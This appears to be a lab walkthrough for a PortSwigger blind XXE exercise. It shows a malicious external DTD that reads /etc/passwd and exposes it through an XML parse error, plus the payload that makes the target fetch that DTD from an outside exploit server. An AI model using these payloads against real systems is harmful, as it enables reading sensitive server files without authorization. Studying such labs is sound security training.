> For the complete documentation index, see [llms.txt](https://sayonara.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sayonara.gitbook.io/writeups/portswigger/xxe-xml-external-entities/exploiting-blind-xxe-to-retrieve-data-via-error-messages.md).

# Exploiting blind XXE to retrieve data via error messages

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FiOXGj3rrpEzM9D6GL2ev%2Fimage.png?alt=media&amp;token=6fc0ccb7-29a2-40e3-a318-f742dd376767" alt=""><figcaption></figcaption></figure></div>

## <mark style="color:red;">Exploitation</mark>

the lab has a "check stock" feature that parses XML input

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FSvZ1q2eLDQqbAT3WDhgI%2Fimage.png?alt=media&amp;token=813cffcd-0384-440b-be12-3a754db1b707" alt=""><figcaption></figcaption></figure></div>

send to repeater

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2Ft1TkPb23HsRBs6CzH26I%2Fimage.png?alt=media&amp;token=e8095424-a0e9-447c-9824-d69c8835193a" alt=""><figcaption></figcaption></figure></div>

To exploit that, we can trigger an XML parsing error, and the error message contains the sensitive data, like `/etc/passwd`.

**In the lab, we have an exploit server, which allows us to host a malicious external DTD:**

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FLqfFYvMRvHruj1IlwB4F%2Fimage.png?alt=media&amp;token=b642f53e-2a56-432b-af53-cb786f84cffd" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2F70w75CaH7U2IVNnmW573%2Fimage.png?alt=media&amp;token=8fb36097-0da1-4a35-b7e0-20f49c105358" alt=""><figcaption></figcaption></figure></div>

You can trigger an XML parsing error message containing the contents of the `/etc/passwd` file using a malicious external DTD as follows:

```markup
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
```

**This DTD carries out the following steps:**

* Define an XML parameter entity called `file`, containing the contents of the `/etc/passwd` file.
* Define an XML parameter entity called `eval`, containing a dynamic declaration of another XML parameter entity called `error`. The `error` entity will be evaluated by loading a nonexistent file whose name contains the value of the `file` entity.
* Use the `eval` entity, which causes the dynamic declaration of the `error` entity to be performed.
* Use the `error` entity, so that its value is evaluated by attempting to load the nonexistent file, resulting in an error message containing the name of the nonexistent file, which is the contents of the `/etc/passwd` file.

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2F9C5m7iNZ4Roc9KZ1YmZy%2Fimage.png?alt=media&amp;token=7ab425ed-2430-4d22-947b-201ecd2623b1" alt=""><figcaption></figcaption></figure></div>

now click on view exploit and copy the url which we will use to invoke the DTD

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FNZVB0LPFJNNG6OqkRwe7%2Fimage.png?alt=media&amp;token=c31feb6b-159a-492e-8884-96016636f517" alt=""><figcaption></figcaption></figure></div>

**Next, to let the target server invoke our malicious external DTD, we can send the following XXE payload:**

```markup
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0a8d00b8044992e788e2f0c501070053.exploit-server.net/malicious.dtd"> %xxe;]>
<stockCheck><productId>7</productId><storeId>1</storeId></stockCheck>
```

**Which will:**

* Define an an XML parameter entity called `xxe`, which fetches our exploit server’s malicious DTD and interpret it inline

now let's go the "check store" request that we have sent to repeater and send this xml payload to invoke the malicious DTD stored in our exploit server

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FeE0CdBdO5ETqvrjMVWYx%2Fimage.png?alt=media&amp;token=130740bd-567a-4293-af9d-f14e0ce234a5" alt=""><figcaption></figcaption></figure></div>

and we have solved the lab

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FsogEALucYjaoo2CQ8Xdt%2Fimage.png?alt=media&amp;token=1f319f03-002d-45c2-962c-8b865b5f976f" alt=""><figcaption></figcaption></figure></div>

hope you found this walkthrough easy to understand and follow

Greeting From [<mark style="color:red;">**Sayonara**</mark>](https://github.com/ismail-arame)
